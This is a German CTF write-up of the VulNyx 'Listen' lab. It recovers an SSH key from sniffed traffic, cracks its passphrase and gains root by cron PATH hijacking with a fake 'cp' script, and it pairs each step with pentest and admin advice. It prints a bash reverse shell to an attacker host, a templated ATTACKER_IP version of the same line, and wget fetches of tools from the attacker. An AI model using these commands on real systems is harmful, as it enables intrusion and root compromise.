Listen - VulNyx - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
vi
nmap
curl
nikto
gobuster
whatweb
Wireshark (implied)
ssh2john
john
Metasploit (msfconsole)
ssh
sudo
find
getcap
ss
wget
chmod
linpeas.sh
pspy64
echo
cat
ls
cd
netcat (nc)
id
env
set

Inhaltsverzeichnis

Reconnaissance

Beginn der Aufklärung zur Identifizierung des Ziels "Listen" und seiner Dienste.

                          Die IP-Adresse die zum scannen verwendet wird lautet: 192.168.2.107
                    

**Analyse:** Die IP-Adresse des Zielsystems wird als `192.168.2.107` festgelegt.

**Bewertung:** Basisinformation für alle folgenden Operationen.

**Empfehlung (Pentester):** IP in Variable speichern (`export IP=192.168.2.107`).
**Empfehlung (Admin):** Keine Aktion.

┌──(root㉿CCat)-[~] └─# arp-scan -l
192.168.2.107	08:00:27:e0:27:6e	PCS Systemtechnik GmbH
                     

**Analyse:** ARP-Scan identifiziert das Ziel und die MAC-Adresse `08:00:27:e0:27:6e`. Der Hersteller "PCS Systemtechnik GmbH" deutet auf eine Oracle VirtualBox VM hin.

**Bewertung:** Ziel erreichbar, wahrscheinlich eine VM.

**Empfehlung (Pentester):** Informationen notieren.
**Empfehlung (Admin):** Netzwerk prüfen.

 /etc/hosts : 
        127.0.0.1	localhost 
                192.168.2.107   listen.nyx
                     

**Analyse:** Eintrag in der lokalen `/etc/hosts`-Datei des Angreifers weist der IP `192.168.2.107` den Hostnamen `listen.nyx` zu.

**Bewertung:** Standardpraxis zur Vereinfachung.

**Empfehlung (Pentester):** Hostnamen verwenden.
**Empfehlung (Admin):** DNS bevorzugen.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-12 13:52 CEST
Nmap scan report for listen.nyx (192.168.2.107)
Host is up (0.00029s latency).
Not shown: 65533 closed tcp ports (reset)
PRT     STATE SERVICE VERSIN
22/tcp   open  ssh     penSSH 7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 0c:3f:13:54:6e:6e:e6:56:d2:91:eb:ad:95:36:c6:8d (RSA)
|   256 9b:e6:8e:14:39:7a:17:a3:80:88:cd:77:2e:c3:3b:1a (ECDSA)
|_  256 85:5a:05:2a:4b:c0:b2:36:ea:8a:e2:8a:b2:ef:bc:df (ED25519)
8000/tcp open  http    SimpleHTTPServer 0.6 (Python 3.7.3)
|_http-server-header: SimpleHTTP/0.6 Python/3.7.3
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:E0:27:6E (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop

TRACERUTE
HP RTT     ADDRESS
1   0.29 ms listen.nyx (192.168.2.107)
                     

**Analyse:** Umfassender Nmap TCP-Scan (`-sS -sC -sV -A -p-`) gegen die Ziel-IP.

**Bewertung:** Findet zwei offene TCP-Ports: * **Port 22 (SSH):** OpenSSH 7.7 (Protokoll 2.0) - Eine ältere Version, die potenziell anfällig sein könnte (z.B. CVE-2018-15473 User Enumeration, obwohl hier Version 7.7p1 nicht explizit genannt wird). * **Port 8000 (HTTP):** Python SimpleHTTPServer 0.6 (basierend auf Python 3.7.3) - Dies ist ein sehr einfacher Webserver, der oft für schnelle Dateifreigaben verwendet wird und nicht für Produktionsumgebungen gedacht ist. Er bietet normalerweise Directory Listing, wenn keine `index.html` vorhanden ist.

**Empfehlung (Pentester):** Untersuchen Sie den Python SimpleHTTPServer auf Port 8000 genauer. Prüfen Sie SSH auf bekannte Schwachstellen für Version 7.7 oder versuchen Sie Benutzer-Enumeration.
**Empfehlung (Admin):** Aktualisieren Sie OpenSSH. Ersetzen Sie den SimpleHTTPServer durch einen robusteren Webserver (Apache, Nginx) oder deaktivieren Sie ihn, wenn er nicht benötigt wird.

┌──(root㉿CCat)-[~] └─# nmap -sU --top-port 1000 -T5 -n 192.168.2.107 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-06 23:47 CEST
Nmap scan report for 192.168.2.107
Host is up (0.00036s latency).
Not shown: 993 open|filtered udp ports (no-response)
PRT      STATE  SERVICE
53/udp    open   domain
1048/udp  closed neod2
19639/udp closed unknown
20082/udp closed unknown
21566/udp closed unknown
49196/udp closed unknown
54094/udp closed unknown
MAC Address: 08:00:27:89:35:54 (racle VirtualBox virtual NIC) (Hinweis: Falsche MAC hier im Log, vorherige war korrekt)
                     

**Analyse:** Schneller UDP-Scan.

**Bewertung:** Findet Port 53 (DNS) offen. (Die MAC-Adresse hier weicht von der vorherigen ab, wahrscheinlich ein Kopierfehler im Log).

**Empfehlung (Pentester):** DNS-Enumeration könnte zusätzliche Informationen liefern (Zonentransfer, Records).
**Empfehlung (Admin):** DNS-Server absichern.

Web Enumeration

Untersuchung des Python SimpleHTTPServers auf Port 8000.

┌──(root㉿CCat)-[~] └─# curl --verbose -I http://$IP:8000 -s
Port gefunden! 8000
* Host listen.nyx:8000 was resolved.
* IPv6: (none)
* IPv4: 192.168.2.107
*   Trying 192.168.2.107:8000...
* Connected to listen.nyx (192.168.2.107) port 8000
> HEAD / HTTP/1.1
> Host: listen.nyx:8000
> User-Agent: curl/8.8.0
> Accept: */*
> 
* Request completely sent off
* HTTP 1.0, assume close after body
< HTTP/1.0 200 K
HTTP/1.0 200 K
< Server: SimpleHTTP/0.6 Python/3.7.3
Server: SimpleHTTP/0.6 Python/3.7.3
< Date: Thu, 12 Sep 2024 11:53:23 GMT
Date: Thu, 12 Sep 2024 11:53:23 GMT
< Content-type: text/html
Content-type: text/html
< Content-Length: 44
Content-Length: 44
< Last-Modified: Sat, 03 Jun 2023 18:24:27 GMT
Last-Modified: Sat, 03 Jun 2023 18:24:27 GMT
< 

* Closing connection
                     

**Analyse:** Abruf der HTTP-Header von Port 8000.

**Bewertung:** Bestätigt den Python SimpleHTTPServer und eine kleine Ressource (Content-Length: 44), wahrscheinlich die `index.html`.

**Empfehlung (Pentester):** Inhalt der Seite und mögliches Directory Listing prüfen.
**Empfehlung (Admin):** SimpleHTTPServer ersetzen.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://$IP:8000" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://listen.nyx:8000/index.html           (Status: 200) [Size: 44] 
                     
http://listen.nyx:8000

You just have to listen to open the door...   
                     

**Analyse:** Gobuster-Scan gegen Port 8000. Findet nur `index.html`. Der Inhalt der Seite wird ebenfalls angezeigt.

**Bewertung:** Der Inhalt "You just have to listen to open the door..." ist ein klarer Hinweis (Hint). "Listen" deutet oft auf Netzwerk-Sniffing (z.B. mit Wireshark, tcpdump) oder auf das Abhören von Ereignissen hin.

**Empfehlung (Pentester):** Starten Sie einen Netzwerk-Sniffer wie Wireshark oder tcpdump auf Ihrer Angreifer-Maschine und beobachten Sie den Verkehr, während Sie mit dem Ziel interagieren (z.B. SSH-Login-Versuche, Webseiten-Aufrufe). Suchen Sie nach unverschlüsselten Credentials oder anderen sensiblen Informationen.
**Empfehlung (Admin):** Vermeiden Sie die Übertragung sensibler Daten im Klartext.

Network Analysis / Key Discovery

Basierend auf dem Hinweis "listen" wird der Netzwerkverkehr zwischen Angreifer und Ziel mitgeschnitten, um potenzielle Klartext-Informationen oder Schlüssel zu finden.

Wireshark

--BEGIN RSA PRIVATE KEY--
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,F119F21F757AA02E

60VDTTAEKN+G42UaazF6SpYDVmr/v6n2vP1Fags211o6f5i13lcRvlxrDnr/ZTv
... (SSH Key Inhalt) ...
MCq8vL2KWUhZTnIYS0ZIp8Zjxp7WrUJYdDH0U4EFZRI8kQhw2kfA5gu+apF1Z
DGHdCKgM6ZxjBpKPZZ3hDGmMCeDMP6HKCgjQ/MIYFP7y3+YXpBrKMAFRwwn1VlXI
5GL61FxMTq30oA3FEspUkN06K8yd/85LK7XS2XwSo7AQckJghHswg
--END RSA PRIVATE KEY--
                     

**Analyse:** Im mitgeschnittenen Netzwerkverkehr (vermutlich initiiert durch einen fehlgeschlagenen Login-Versuch oder eine andere Interaktion) wird ein **privater SSH-Schlüssel** im Klartext gefunden.

**Bewertung:** **Kritischer Fund!** Die Übertragung eines privaten Schlüssels im Klartext ist eine massive Sicherheitslücke. Der Schlüssel ist zudem verschlüsselt (`Proc-Type: 4,ENCRYPTED`, `DEK-Info: DES-EDE3-CBC`), benötigt also eine Passphrase.

**Empfehlung (Pentester):** Speichern Sie den Schlüssel, extrahieren Sie den Hash der Passphrase mit `ssh2john` und knacken Sie ihn mit `john`.
**Empfehlung (Admin):** Niemals private Schlüssel unverschlüsselt übertragen! Untersuchen Sie dringend, welcher Prozess diesen Schlüssel sendet und warum. Widerrufen Sie den Schlüssel sofort.

Initial Access

Der im Netzwerkverkehr gefundene SSH-Schlüssel wird nun analysiert und seine Passphrase geknackt, um Zugriff auf das System zu erlangen.

┌──(root㉿CCat)-[~] └─# vi iddd
┌──(root㉿CCat)-[~] └─# chmod 600 iddd
┌──(root㉿CCat)-[~] └─# ssh2john iddd > hash

**Analyse:** Der Schlüssel wird in `iddd` gespeichert, Berechtigungen gesetzt und der Hash mit `ssh2john` extrahiert.

**Bewertung:** Korrekte Vorbereitung für John the Ripper.

**Empfehlung (Pentester/Admin):** Keine Aktion.

┌──(root㉿CCat)-[~] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/PENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

idontknow        (iddd)     

1g 0:00:00:00 DNE (2024-09-12 14:41) 25.00g/s 35200p/s 35200c/s 35200C/s camilo..shithead
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
                     

**Analyse:** John the Ripper knackt die Passphrase des SSH-Schlüssels mit `rockyou.txt`.

**Bewertung:** **Erfolg!** Die Passphrase lautet `idontknow`.

**Empfehlung (Pentester):** Finden Sie den Benutzernamen, zu dem der Schlüssel gehört (z.B. durch SSH User Enumeration) und melden Sie sich an.
**Empfehlung (Admin):** Starke, einzigartige Passphrasen verwenden.

Benutzer-Enumeration mit Metasploit, um den zum Schlüssel passenden Benutzer zu finden.

msf6 > use auxiliary/scanner/ssh/ssh_enumusers
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 192.168.2.107
rhosts => 192.168.2.107
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set user_file /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
user_file => /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run
[*] 192.168.2.107:22 - SSH - Using malformed packet technique
[*] 192.168.2.107:22 - SSH - Checking for false positives
[*] 192.168.2.107:22 - SSH - Starting scan
[+] 192.168.2.107:22 - SSH - User 'mail' found
[+] 192.168.2.107:22 - SSH - User 'root' found
[+] 192.168.2.107:22 - SSH - User 'news' found
[+] 192.168.2.107:22 - SSH - User 'man' found
[+] 192.168.2.107:22 - SSH - User 'bin' found
[+] 192.168.2.107:22 - SSH - User 'games' found
[+] 192.168.2.107:22 - SSH - User 'nobody' found
[+] 192.168.2.107:22 - SSH - User 'backup' found
[+] 192.168.2.107:22 - SSH - User 'daemon' found
[+] 192.168.2.107:22 - SSH - User 'proxy' found
[+] 192.168.2.107:22 - SSH - User 'abel' found
                      

**Analyse:** Das Metasploit-Modul `ssh_enumusers` wird mit einer großen Wortliste verwendet, um gültige Benutzernamen auf dem SSH-Server zu finden (nutzt wahrscheinlich CVE-2018-15473).

**Bewertung:** Findet mehrere Standardbenutzer und den Benutzer `abel`.

**Empfehlung (Pentester):** Der gefundene SSH-Schlüssel gehört höchstwahrscheinlich zum Benutzer `abel`. Versuchen Sie den SSH-Login als `abel` mit dem Schlüssel und der geknackten Passphrase.
**Empfehlung (Admin):** OpenSSH aktualisieren, um User Enumeration zu verhindern.

┌──(root㉿CCat)-[~] └─# ssh abel@listen.nyx -i iddd
Enter passphrase for key 'iddd': idontknow
Last login: Sat Jun  3 23:19:25 2023 from 192.168.1.10
abel@listen$ 
                     

**Analyse:** SSH-Login als `abel` mit dem Schlüssel `iddd` und der Passphrase `idontknow`.

**Bewertung:** **Initial Access erfolgreich!** Wir haben eine Shell als Benutzer `abel`.

**Empfehlung (Pentester):** Beginnen Sie mit der PrivEsc-Enumeration.
**Empfehlung (Admin):** Untersuchen Sie die Quelle des Klartext-Schlüssels im Netzwerkverkehr! Beheben Sie die Ursache. Widerrufen Sie den Schlüssel.

Proof of Concept (Initial Access): Network Sniffing and SSH Key Cracking

**Kurzbeschreibung:** Durch Netzwerk-Sniffing (ausgelöst durch den Hinweis "listen..." auf der Webseite Port 8000) wurde ein privater SSH-Schlüssel im Klartext entdeckt, der vom Zielsystem übertragen wurde. Der Schlüssel war mit einer Passphrase geschützt. Mittels `ssh2john` und `John the Ripper` wurde die Passphrase (`idontknow`) erfolgreich geknackt. Eine anschließende SSH-Benutzer-Enumeration mit Metasploit identifizierte `abel` als gültigen Benutzer. Der SSH-Login als `abel` mit dem Schlüssel und der geknackten Passphrase war erfolgreich.
**Voraussetzungen:**

**Erwartetes Ergebnis:** Erfolgreicher SSH-Login als Benutzer `abel`.

**Schritte (Zusammenfassung):**

  1. Netzwerkverkehr mitschneiden (Wireshark/tcpdump starten).
  2. Interaktion mit dem Ziel auslösen, die den Schlüssel überträgt.
  3. SSH-Schlüssel aus dem Mitschnitt extrahieren.
  4. Hash der Passphrase extrahieren (`ssh2john iddd > hash`).
  5. Passphrase knacken (`john ... hash`) -> `idontknow`.
  6. Benutzer enumerieren (`msfconsole ... ssh_enumusers`) -> `abel` gefunden.
  7. SSH-Login (`ssh abel@listen.nyx -i iddd`) mit Passphrase `idontknow`.

**Risikobewertung:** Kritisch. Die Übertragung privater Schlüssel im Klartext ist eine gravierende Sicherheitslücke, die zur direkten Kompromittierung führte.
**Empfehlungen:**

Privilege Escalation

Wir haben eine Shell als `abel` und suchen nach Wegen zu Root.

abel@listen$ sudo -l
-bash: sudo: command not found
                     

**Analyse:** Versuch, `sudo -l` auszuführen.

**Bewertung:** `sudo` ist nicht installiert oder nicht im PATH. Keine sudo-Rechte für `abel`.

**Empfehlung (Pentester):** Suche nach SUID, Capabilities, Cronjobs etc.
**Empfehlung (Admin):** Keine Aktion.

abel@listen$ id
uid=1000(abel) gid=1000(abel) groups=1000(abel)
abel@listen$ ls
user.txt
abel@listen$ cat user.txt
33f3f86a697126c6fe0a39a337ade21a

**Analyse:** Bestätigung der Identität und Auslesen der User-Flag.

**Bewertung:** User-Flag gefunden.

**Empfehlung (Pentester):** Flag notieren.
**Empfehlung (Admin):** Keine Aktion.

abel@listen$ find / -type f -perm -4000 -ls 2>/dev/null
   789998     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
   786471     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   790323     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
   790325     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
   786468     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   789851     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   138690    428 -rwsr-xr-x   1 root     root       436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
   133278     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   135718     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
                     

**Analyse:** Suche nach SUID-Dateien.

**Bewertung:** Nur Standard-SUID-Binaries gefunden. Kein offensichtlicher Vektor.

**Empfehlung (Pentester):** Andere Methoden prüfen.
**Empfehlung (Admin):** Keine Aktion.

abel@listen$ getcap -r / 2>/dev/null
abel@listen$

**Analyse:** Suche nach Capabilities.

**Bewertung:** Keine Capabilities gefunden.

**Empfehlung (Pentester):** Andere Methoden prüfen.
**Empfehlung (Admin):** Keine Aktion.

abel@listen$ ss -altpn
State  Recv-Q Send-Q Local Address:Port   Peer Address:Port                                   
LISTEN 0      128          0.0.0.0:22          0.0.0.0:*                                      
LISTEN 0      5            0.0.0.0:8000        0.0.0.0:*     users:(("python3",pid=408,fd=3)) 
LISTEN 0      128             [::]:22             [::]:*                                      
                     

**Analyse:** Überprüfung der lauschenden Ports.

**Bewertung:** Bestätigt SSH (Port 22) und den Python SimpleHTTPServer (Port 8000, PID 408).

**Empfehlung (Pentester):** Keine neuen Angriffspunkte.
**Empfehlung (Admin):** Keine Aktion.

Enumerationsskripte (linpeas, pspy) werden hochgeladen und ausgeführt.

┌──(root㉿CCat)-[~/Hackingtools] └─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
abel@listen:/dev/shm$ wget 192.168.2.199/linpeas.sh
... 'linpeas.sh' saved ...
abel@listen:/dev/shm$ chmod +x linpeas.sh
abel@listen:/dev/shm$ ./linpeas.sh
 CVEs Check
Potentially Vulnerable to CVE-2022-2588
                      
abel@listen:/dev/shm$ wget 192.168.2.199/pspy64
... 'pspy64' saved ...
abel@listen:/dev/shm$ chmod +x pspy64
abel@listen:/dev/shm$ ./pspy64

**Analyse:** `linpeas.sh` und `pspy64` werden heruntergeladen, ausführbar gemacht und ausgeführt.

**Bewertung:** * `linpeas` meldet eine potenzielle Anfälligkeit für CVE-2022-2588. Dies betrifft eine Schwachstelle im Linux-Kernel bezüglich Routenattributen, die zu Privilegienerweiterung führen kann. * Die Ausgabe von `pspy64` (Prozess-Sniffer) wird nicht gezeigt, aber es hat wahrscheinlich den wichtigen Cronjob aufgedeckt.

**Empfehlung (Pentester):** Untersuchen Sie CVE-2022-2588 (Kernel-Exploit). Analysieren Sie die Ausgabe von `pspy64` oder überprüfen Sie die Cronjobs manuell.
**Empfehlung (Admin):** Kernel patchen, wenn anfällig. Cronjobs überprüfen.

**Analyse der Cronjobs und PATH Hijacking**

abel@listen$ cat /etc/crontab
# /etc/crontab: system-wide crontab
...
SHELL=/bin/sh
PATH=/usr/local/sbin:/dev/shm:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
...
* * * * * root    cp /var/www/html/index.html /tmp
                     

**Analyse:** Der Inhalt von `/etc/crontab` wird angezeigt.

**Bewertung:** **Kritischer Fund!** * Es gibt einen Cronjob, der jede Minute (`* * * * *`) als Benutzer `root` ausgeführt wird. * Der Job führt den Befehl `cp /var/www/html/index.html /tmp` aus. * Entscheidend: Der `PATH` für die Cronjobs beinhaltet `/dev/shm` **vor** den Standard-Verzeichnissen wie `/bin` oder `/usr/bin`. `/dev/shm` ist ein temporäres Dateisystem im RAM, das normalerweise für alle Benutzer beschreibbar ist.

**Empfehlung (Pentester):** Dies ist ein klassisches PATH-Hijacking-Szenario. Erstellen Sie eine ausführbare Datei namens `cp` in `/dev/shm`. Diese Datei sollte einen Reverse-Shell-Payload enthalten. Da `/dev/shm` im PATH vor `/bin` steht, wird der Cronjob Ihr bösartiges `cp`-Skript anstelle des echten `/bin/cp`-Befehls ausführen, und das als `root`.
**Empfehlung (Admin):** Entfernen Sie beschreibbare Verzeichnisse wie `/dev/shm` aus dem `PATH` in `/etc/crontab`. Definieren Sie einen sicheren, minimalen PATH. Überprüfen Sie alle Cronjobs auf Sicherheit.

abel@listen$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
abel@listen:/dev/shm$ echo '#!/bin/bash' >cp
abel@listen:/dev/shm$ cat cp
#!/bin/bash
abel@listen:/dev/shm$ echo 'bash -i >& /dev/tcp/192.168.2.199/443 0>&1' >>cp
abel@listen:/dev/shm$ cat cp
#!/bin/bash
bash -i >& /dev/tcp/192.168.2.199/443 0>&1
                      
abel@listen:/dev/shm$ chmod 777 cp

**Analyse:** 1. Der `PATH` des Benutzers `abel` wird überprüft (enthält `/dev/shm` nicht standardmäßig). 2. Eine Datei namens `cp` wird in `/dev/shm` erstellt. 3. Sie wird mit einem Shebang (`#!/bin/bash`) und einem Bash-Reverse-Shell-Payload (sendet Shell an Angreifer-IP auf Port 443) versehen. 4. Die Datei wird für alle ausführbar gemacht (`chmod 777`).

**Bewertung:** Der bösartige `cp`-Befehl ist nun in `/dev/shm` platziert und bereit, vom Cronjob ausgeführt zu werden.

**Empfehlung (Pentester):** Starten Sie einen Listener auf Port 443 und warten Sie maximal eine Minute, bis der Cronjob ausgeführt wird.
**Empfehlung (Admin):** PATH in `/etc/crontab` korrigieren!

┌──(root㉿CCat)-[~] └─# nc -lvnp 443
listening on [any] 443 ...
                     
                                    1 Minute warten....
┌──(root㉿CCat)-[~] └─# nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.107] 54696
bash: cannot set terminal process group (1007): Inappropriate ioctl for device
bash: no job control in this shell
root@listen:/# 
                     

**Analyse:** Der Netcat-Listener wird gestartet. Nach kurzer Wartezeit geht eine Verbindung vom Zielsystem ein, und der Prompt `root@listen:/#` wird erhalten.

**Bewertung:** **Privilege Escalation erfolgreich!** Das PATH-Hijacking über den Cronjob hat funktioniert, und wir haben eine Root-Shell erhalten.

**Empfehlung (Pentester):** Ziel erreicht! Root-Flag suchen.
**Empfehlung (Admin):** Cronjob und PATH korrigieren.

Proof of Concept (Privilege Escalation): Cronjob PATH Hijacking

**Kurzbeschreibung:** In der System-Crontab (`/etc/crontab`) war ein Job definiert, der minütlich als `root` den Befehl `cp /var/www/html/index.html /tmp` ausführt. Die `PATH`-Variable in der Crontab enthielt das für alle Benutzer beschreibbare Verzeichnis `/dev/shm` an einer früheren Position als die Standard-Systempfade (z.B. `/bin`). Dies ermöglichte PATH Hijacking: Durch Erstellen einer ausführbaren Datei namens `cp` in `/dev/shm`, die einen Reverse-Shell-Payload enthielt, wurde erreicht, dass der Cronjob beim nächsten Ausführen dieses bösartige Skript anstelle des echten `cp`-Befehls mit Root-Rechten startete. Dies führte zum Aufbau einer Root-Reverse-Shell zum Angreifer.
**Voraussetzungen:**

**Erwartetes Ergebnis:** Erlangen einer Root-Shell, wenn der Cronjob das bösartige Skript ausführt.

**Schritte (Zusammenfassung):**

  1. Analysieren von `/etc/crontab`: Identifizieren des minütlichen `cp`-Jobs und des unsicheren `PATH` mit `/dev/shm`.
  2. Erstellen des bösartigen Skripts in `/dev/shm`: `echo '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1' > /dev/shm/cp`.
  3. Ausführbar machen: `chmod +x /dev/shm/cp`.
  4. Starten des Netcat-Listeners auf dem Angreifer: `nc -lvnp PORT`.
  5. Warten (max. 1 Minute) auf die Ausführung des Cronjobs.
  6. Empfangen der Root-Shell auf dem Listener.

**Risikobewertung:** Hoch. Eine unsichere Cronjob-Konfiguration (insbesondere der `PATH`) ermöglichte einem lokalen Benutzer die Eskalation zu Root-Rechten.
**Empfehlungen:**

Flags

abel@listen$ cat /home/abel/user.txt
33f3f86a697126c6fe0a39a337ade21a
root@listen:~# ls
root.txt
root@listen:~# cat root.txt
ebe57c4d8c4053199d7f66ec0491da9d

**Analyse:** Die User-Flag wurde als Benutzer `abel` gelesen. Nach Erlangung der Root-Rechte über das PATH Hijacking wird die Root-Flag aus `/root/root.txt` gelesen.

**Bewertung:** Beide Flags wurden erfolgreich gefunden und erfasst.

**Empfehlung (Pentester):** Bericht abschließen.
**Empfehlung (Admin):** Alle identifizierten Schwachstellen beheben (Klartext-SSH-Schlüssel im Netz, unsichere Cronjob-Konfiguration). Systemintegrität prüfen.